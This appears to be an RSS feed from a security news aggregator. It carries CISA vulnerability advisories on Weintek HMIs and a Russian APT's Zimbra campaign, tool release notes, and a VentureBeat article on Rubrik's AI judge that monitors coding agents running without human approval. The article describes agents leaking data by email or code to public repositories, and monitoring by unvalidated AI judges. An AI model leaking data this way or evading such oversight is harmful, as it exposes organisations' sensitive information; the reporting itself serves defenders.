<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[macOS flaw lets malware replace trusted apps without security warnings]]></title>
<description><![CDATA[Security researchers Talal Haj Bakry and Tommy Mysk have disclosed a macOS weakness that allows malware already running under a user's account to silently replace the executable of trusted applications downloaded from the web and relaunch them without triggering Gatekeeper warnings. Although the ...]]></description>
<link>https://tsecurity.de/de/3689867/it-security-nachrichten/macos-flaw-lets-malware-replace-trusted-apps-without-security-warnings/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689867/it-security-nachrichten/macos-flaw-lets-malware-replace-trusted-apps-without-security-warnings/</guid>
<pubDate>Thu, 23 Jul 2026 19:39:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security researchers Talal Haj Bakry and Tommy Mysk have disclosed a macOS weakness that allows malware already running under a user's account to silently replace the executable of trusted applications downloaded from the web and relaunch them without triggering Gatekeeper warnings. Although the technique does not bypass macOS security protections, it can cause legitimate permission …</p>
<p>The post <a href="https://cyberinsider.com/macos-flaw-lets-malware-replace-trusted-apps-without-security-warnings/">macOS flaw lets malware replace trusted apps without security warnings</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.3]]></title>
<description><![CDATA[What's Changed

Gracefully handle invalid ghost fuzzer configurations by @dylanjew in #5380
[Adroid v4 API] Add Android Build API V4 REST client and tests by @IvanBM18 in #5370

Full Changelog: v2.35.2...v2.35.3]]></description>
<link>https://tsecurity.de/de/3689848/it-security-tools/v2353/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689848/it-security-tools/v2353/</guid>
<pubDate>Thu, 23 Jul 2026 19:35:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Gracefully handle invalid ghost fuzzer configurations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960697173" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5380" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5380/hovercard" href="https://github.com/google/clusterfuzz/pull/5380">#5380</a></li>
<li>[Adroid v4 API] Add Android Build API V4 REST client and tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936013670" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5370" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5370/hovercard" href="https://github.com/google/clusterfuzz/pull/5370">#5370</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.2...v2.35.3"><tt>v2.35.2...v2.35.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.4]]></title>
<description><![CDATA[What's Changed

symbolizer: Fix args for the default symbolizer by @g-ortuno in #5379

Full Changelog: v2.35.3...v2.35.4]]></description>
<link>https://tsecurity.de/de/3689847/it-security-tools/v2354/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689847/it-security-tools/v2354/</guid>
<pubDate>Thu, 23 Jul 2026 19:35:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>symbolizer: Fix args for the default symbolizer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960632418" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5379" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5379/hovercard" href="https://github.com/google/clusterfuzz/pull/5379">#5379</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.3...v2.35.4"><tt>v2.35.3...v2.35.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.50.2]]></title>
<description><![CDATA[23.50.2 - 2026-07-23
Bug Fixes

reported issues in openvas scanner (#2277) 3fcea4ca]]></description>
<link>https://tsecurity.de/de/3689681/downloads/v23502/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689681/downloads/v23502/</guid>
<pubDate>Thu, 23 Jul 2026 18:33:57 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.50.1...v23.50.2">23.50.2</a> - 2026-07-23</h2>
<h2>Bug Fixes</h2>
<ul>
<li>reported issues in openvas scanner (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857809229" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2277" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2277/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2277">#2277</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/3fcea4ca">3fcea4ca</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.3]]></title>
<description><![CDATA[agent: import skills from coding agents (#17294)]]></description>
<link>https://tsecurity.de/de/3689527/downloads/v0323/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689527/downloads/v0323/</guid>
<pubDate>Thu, 23 Jul 2026 17:47:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>agent: import skills from coding agents (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943546999" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17294" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17294/hovercard" href="https://github.com/ollama/ollama/pull/17294">#17294</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
